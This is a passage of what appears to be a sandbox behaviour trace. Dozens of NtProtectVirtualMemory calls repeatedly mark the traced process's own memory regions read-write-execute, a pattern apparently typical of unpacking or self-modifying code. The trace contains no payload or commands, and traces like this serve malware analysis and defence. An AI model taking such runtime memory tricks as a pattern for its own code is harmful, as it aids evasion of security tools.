OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.148] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.158] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.169] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.184] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.201] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.212] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.222] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.250] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.260] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.270] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.288] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.298] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.309] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.347] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.362] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.387] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.403] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.418] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.471] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.487] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.512] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.527] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.542] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.566] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.581] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.605] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.620] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.635] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.659] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.699] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.714] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.729] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.800] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.817] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.837] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.848] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.859] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.870] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.901] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.958] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.968] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.978] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0275.988] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.008] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.019] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.045] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.056] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.087] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.138] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.156] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.185] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.204] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.251] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.292] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.308] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.346] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.368] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.396] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.418] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.436] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.447] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.458] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.475] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.486] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.496] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.541] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.552] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.585] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.597] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.610] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.658] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.670] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.698] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.752] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0276.772] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, 